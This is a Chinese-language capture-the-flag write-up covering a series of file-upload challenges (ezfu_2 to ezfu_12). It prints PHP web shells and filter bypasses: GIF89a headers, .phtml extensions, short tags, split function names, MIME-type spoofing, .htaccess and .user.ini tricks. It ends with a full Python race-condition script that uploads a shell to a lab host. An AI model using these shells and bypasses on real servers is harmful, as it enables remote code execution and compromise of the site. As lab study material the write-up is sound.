ezfu_2

<?php system($_GET['cmd']); ?>

我们先尝试上传一句话木马

发现文件类型不允许

当我们对常见的后缀名进行爆破时,发现phtml的时候上传成功了

之后我们用get方法传入命令

在环境中发现flag

ezfu_3

文件头错误

GIF89a
<?php system($_GET['cmd']); ?>

填上gif的文件头,还是需要把phtml加上,就可以上传成功

还是在环境里面

ezfu_4

不让出现php的标签开头

我们使用短标签绕过

GIF89a
<?= system($_GET['cmd']); ?>

当我们把后缀改成phtml的时候发现MIME Type错误

服务器认为 application/octet-stream(二进制流)或 .phtml 后缀是不被允许的“非图片”类型。

将第 15 行的: Content-Type: application/octet-stream 修改为: Content-Type: image/jpeg

之后发现上传成功

详细知识点:

1. 什么是 MIME Type?

MIME Type (Multipurpose Internet Mail Extensions) 是一种标准,用来标识互联网上数据的格式内容类型

  • 它的形式: 通常由 类型/子类型 组成。

    • text/html (网页)

    • image/jpeg (图片)

    • application/octet-stream (二进制数据,浏览器不知道具体格式时通常用这个)

  • 它的作用: 浏览器通过这个类型来决定如何处理文件(比如是用图片查看器打开,还是弹窗下载,还是作为网页渲染)。


2. 为什么后缀和头部都要改?(两者的关系)

在文件上传的功能中,服务器端通常会进行多重校验,后缀名和 MIME Type 是两道不同的“门岗”。

第一道门岗:文件名校验(后缀)
  • 检查内容: 服务器通常会读取你上传文件的文件名(例如 short.php),判断它的后缀是否在“白名单”里(如 .jpg, .png)。

  • 你的问题: 你把后缀改成了 .phtml。如果服务器的逻辑仅仅是“不允许 .php”,那么你确实绕过了这一关。

第二道门岗:内容类型校验(头部/MIME Type)
  • 检查内容: 当你点击“上传”时,浏览器不仅会发送文件名,还会附带一个 Content-Type 的头部信息。

  • 服务器逻辑: 很多后端代码(如 PHP 的 $_FILES['file']['type'])会查看这个由浏览器发送过来的 Content-Type。如果它发现 Content-Typeapplication/octet-streamapplication/x-httpd-php,而服务器的设置是“只允许图片上传”,它就会直接判定“非法类型”并拒绝。

3. 为什么修改后缀还不够?

后缀名是“名称”,而 MIME Type 是“声明”。

  • 你把名字改成 .phtml 骗过了文件名检查,但你上传请求里自带的“声明”(Content-Type)依然写着它是二进制代码或 PHP 脚本,服务器一旦看到这个声明不符合图片格式,就会为了安全直接拒绝你的请求。

总结来说:

  • 修改文件名是告诉服务器:“这看起来像个合法的文件”。

  • 修改 Content-Type 头部是告诉服务器:“这确实是个图片文件,请放行”。

ezfu_5

和4的思路一样

ezfu_6

和前面一样的操作,结果说我们有危险的函数

GIF89a
<? $a="sys"."tem"; $a($_GET['cmd']); ?>

ezfu_7

我们发现服务器是Apache

尝试上传 .htaccess 文件

AddType application/x-httpd-php .png

.png 文件现在能被当作 PHP 执行了

ezfu_8

服务器又变成了Nginx

我们先上传png文件

上传之后我们上传.user.ini内容为

auto_prepend_file=1.png

然后等个5分钟吧

.user.ini 并不是实时生效的。PHP 为了性能考虑,会将配置文件读取并缓存。

  1. 缓存机制: PHP 在内存中保存了 user.ini 的配置,并且会周期性地检查文件是否有更新。

  2. 默认延迟: 这个检查周期由 user_ini.cache_ttl 决定,默认通常是 300 秒(即 5 分钟)

  3. 生效标志: 只有当缓存过期并重新读取了你的 .user.ini,PHP 引擎才会意识到它应该在处理 index.php 之前先包含你的 1.png

每一两分钟访问一次index

ezfu_9

得到密码

截图中的功能叫“备份恢复”。为了支持此功能,服务器后端必然调用了类似 tarbzip2unzip 的解压函数。当你上传了一个 .bz2 压缩包,服务器后端执行“恢复”操作时,它会解压这个文件。如果这个压缩包里包含一个 shell.php,那么解压完成后,服务器的磁盘上就会凭空多出一个 shell.php 文件

我们用7-zip把之前的脚本压缩一下

ezfu_10

密码爆破出来是123456

和以前一样,改成phtml就行了

注意:我们要在url上面先输入参数,再上传

ezfu_11

我们上传文件发现被很快删除了

于是可以让bp不停发送包

然后访问这个地址

得到flag

ezfu_12

每次上传的地址都在变化,服务器把它重命名成了一长串随机字符

脚本条件竞争一下

import requests
import threading
import re
from concurrent.futures import ThreadPoolExecutor, as_completed

# !!!注意修改为你当前的最新端口!!!
BASE_URL = "http://docker.qingcen.net:47328/"
PAYLOAD = b"<?php system('cat /flag');?>"

# 用于在找到 flag 后通知所有线程停止
STOP_EVENT = threading.Event()

# 预编译正则,提高匹配速度。防止页面混杂 HTML 报错导致 startswith 匹配失败
FLAG_PATTERN = re.compile(r'flag\{.*?\}')


def worker():
    # 每个线程使用一个独立的 Session 保持长连接 (Keep-Alive),极大地提高发包速度
    with requests.Session() as session:
        while not STOP_EVENT.is_set():
            try:
                # 1. 疯狂发送上传请求
                res_upload = session.post(
                    f"{BASE_URL}/",
                    files={"image": ("shell.php", PAYLOAD, "application/x-php")},
                    timeout=5  # 高并发下服务器响应会变慢,适当调高 timeout 防止漏掉成功响应
                )

                # 尝试解析 JSON 获取路径
                data = res_upload.json()
                path = data.get("file_url")

                if not path:
                    continue

                # 2. 瞬间发起访问请求 (条件竞争核心:拼手速)
                target_url = f"{BASE_URL}/{path.lstrip('/')}"
                res_cmd = session.get(target_url, timeout=5)

                # 3. 使用正则提取 flag
                match = FLAG_PATTERN.search(res_cmd.text)
                if match:
                    STOP_EVENT.set()  # 找到了!打出停止信号,叫停其他兄弟线程
                    return match.group(0)

            except requests.RequestException:
                # 忽略网络超时或连接错误,不要中断循环
                pass
            except ValueError:
                # 忽略 JSON 解析错误 (高并发下服务器可能会 502/500 返回 HTML 报错页面)
                pass

    return None


def main():
    threads_count = 30  # 线程数。20~30 比较适合一般的 Docker 靶机,太高容易把靶机打死 (502 Bad Gateway)

    print(f"[*] 启动条件竞争,并发线程数: {threads_count}...")
    print(f"[*] 目标地址: {BASE_URL}")
    print("[*] 正在疯狂发包与服务器抢时间,请耐心等待...")
    print("[!] (如果长时间无反应或报错,可能是靶机已被高并发打宕机,请尝试在平台重启容器)\n")

    with ThreadPoolExecutor(max_workers=threads_count) as pool:
        # 批量提交任务
        futures = [pool.submit(worker) for _ in range(threads_count)]

        # 只要有一个线程返回了结果(且不为 None),就打印并结束
        for future in as_completed(futures):
            flag = future.result()
            if flag:
                print(f"\n[+] 🎉 恭喜!竞争成功!获取到 Flag: \n{flag}\n")
                # 因为 STOP_EVENT 已经被设置,其余在后台的线程会自行感知并平滑退出
                break


if __name__ == "__main__":
    main()

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐